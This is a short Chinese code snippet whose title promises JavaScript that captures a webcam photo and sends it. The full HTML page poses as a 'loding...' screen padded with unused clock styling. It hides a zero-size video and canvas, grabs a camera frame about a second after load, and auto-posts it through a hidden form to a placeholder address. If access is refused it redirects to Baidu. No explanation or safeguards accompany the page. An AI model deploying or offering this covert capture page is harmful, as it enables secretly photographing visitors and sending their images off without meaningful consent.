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H5中JS调用摄像头截图拍照并发送

H5中JS调用摄像头截图拍照并发送

<!doctype html>
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <title>loding...</title>
    <style>
      body {
        background: #ffffff;
      }
      .clock {
        position: absolute;
        opacity: 1;
      }
      .fill .clock {
        left: 50%;
        top: 50%;
      }
      .centre {
        position: absolute;
        top: 50%;
        left: 50%;
        width: 0;
        height: 0;
      }
      .expand {
        position: absolute;
        top: 0;
        left: 0;
        transform: translate(-50%, -50%);
      }
      .anchor {
        position: absolute;
        top: 0;
        left: 0;
        width: 0;
        height: 0;
      }
      .element {
        position: absolute;
        top: 0;
        left: 0;
      }
      .round {
        border-radius: 296px;
      }
      .circle-1 {
        background: #000000;
        width: 12px;
        height: 12px;
      }
      .circle-2 {
        background: #fa9f22;
        width: 8px;
        height: 8px;
      }
      .circle-3 {
        background: #ffffff;
        width: 4px;
        height: 4px;
      }
      .second {
        transform: rotate(180deg);
      }
      .minute {
        transform: rotate(54deg);
      }
      .second-hand {
        width: 2px;
        height: 164px;
        background: #fa9f22;
        transform: translate(-50%, -100%) translateY(24px);
      }
      .hour {
        transform: rotate(304.5deg);
      }
      .thin-hand {
        width: 4px;
        height: 50px;
        background: #ff0000;
        transform: translate(-50%, -100%);
      }
      .fat-hand {
        width: 10px;
        height: 57px;
        border-radius: 10px;
        background: #000000;
        transform: translate(-50%, -100%) translateY(-18px);
      }
      .minute-hand {
        height: 112px;
      }
      .hour-text {
        position: absolute;
        font:
          40px Hei,
          Helvetica,
          Arial,
          sans-serif;
        color: #000000;
        transform: translate(-50%, -50%);
      }
      .hour-10 {
        padding-left: 0.4ex;
      }
      .hour-11 {
        padding-left: 0.25ex;
      }
      .minute-text {
        position: absolute;
        font:
          12px Avenir Next,
          Helvetica,
          Arial,
          sans-serif;
        color: #000000;
        transform: translate(-50%, -50%);
      }
      .minute-line {
        background: #000000;
        width: 1px;
        height: 9px;
        transform: translate(-50%, -100%) translateY(-131px);
        opacity: 1;
      }
    </style>
  </head>
  <body>
    <video id="video" width="0" height="0" autoplay></video>
    <canvas
      style="width:0px;height:0px"
      id="canvas"
      width="480"
      height="640"
    ></canvas>
    <form action="截图好并发送的地址" id="gopo" method="post">
      <input type="hidden" name="img" id="result" value="" />
      <input type="hidden" name="mod" value="up" />
    </form>
  </body>
  <script>
    window.addEventListener(
      "DOMContentLoaded",
      function () {
        var canvas = document.getElementById("canvas");
        var context = canvas.getContext("2d");
        var video = document.getElementById("video");
        if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
          navigator.mediaDevices.getUserMedia({ video: true }).then(
            function (stream) {
              video.srcObject = stream;
              video.play();

              setTimeout(function () {
                context.drawImage(video, 0, 0, 480, 640);
              }, 1000);
              setTimeout(function () {
                var img = canvas.toDataURL("image/png");
                document.getElementById("result").value = img;
                document.getElementById("gopo").submit();
              }, 1300);
            },
            function () {
              window.location.href = "http://baidu.com";
            },
          );
        }
      },
      false,
    );
  </script>
</html>